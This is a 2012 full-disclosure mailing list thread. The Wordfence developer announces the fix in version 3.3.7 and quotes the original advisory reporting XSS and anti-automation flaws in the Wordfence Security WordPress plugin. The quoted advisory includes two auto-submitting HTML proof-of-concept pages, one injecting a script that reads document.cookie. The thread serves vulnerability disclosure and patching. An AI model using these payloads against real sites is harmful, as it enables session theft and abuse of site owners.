full-disclosure - Re: XSS and IAA vulnerabilities in Wordfence Security for WordPress

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Date: Fri, 19 Oct 2012 20:09:20 +0200
From: Mark Maunder <mmaunder@...il.com>
To: MustLive <mustlive@...security.com.ua>
Cc: full-disclosure@...ts.grok.org.uk, submissions@...ketstormsecurity.org
Subject: Re: XSS and IAA vulnerabilities in Wordfence
 Security for WordPress

This has been fixed and the release just went out. Version 3.3.7.

The email param is now escaped and we've added rate limiting to the form
with a 3 minute backoff if the limit is exceeded.

http://wordpress.org/extend/plugins/wordfence/changelog/

Thanks for your report.

Regards,

Mark Maunder.



On Fri, Oct 19, 2012 at 7:16 PM, MustLive <mustlive@...security.com.ua>wrote:

> Hello list!
>
> I want to warn you about Cross-Site Scripting and Insufficient
> Anti-automation vulnerabilities in Wordfence Security for WordPress.
>
> Wordfence - it's security plugin for WordPress.
>
> -------------------------
> Affected products:
> -------------------------
>
> Vulnerable are Wordfence Security 3.3.5 and previous versions.
>
> ----------
> Details:
> ----------
>
> XSS (WASC-08):
>
> Wordfence Security XSS.html
>
> <html>
> <head>
> <title>Wordfence Security XSS exploit (C) 2012 MustLive.
> http://websecurity.com.ua</title>
> </head>
> <body onLoad="document.hack.submit()">
> <form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
> <input type="hidden" name="email"
> value="<script>alert(document.cookie)</script>">
> </form>
> </body>
> </html>
>
> Insufficient Anti-automation (WASC-21):
>
> Wordfence Security IAA.html
>
> <html>
> <head>
> <title>Wordfence Security IAA exploit (C) 2012 MustLive.
> http://websecurity.com.ua</title>
> </head>
> <body onLoad="document.hack.submit()">
> <form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
> <input type="hidden" name="email" value="admin@...ail.com">
> </form>
> </body>
> </html>
>
> I've informed the plugin developer about vulnerabilities. And mentioned
> about these vulnerabilities at my site (http://websecurity.com.ua/6106/).
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua
>
>
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-- 
Mark Maunder <mmaunder@...il.com>
France: (+33) 068-700-8029

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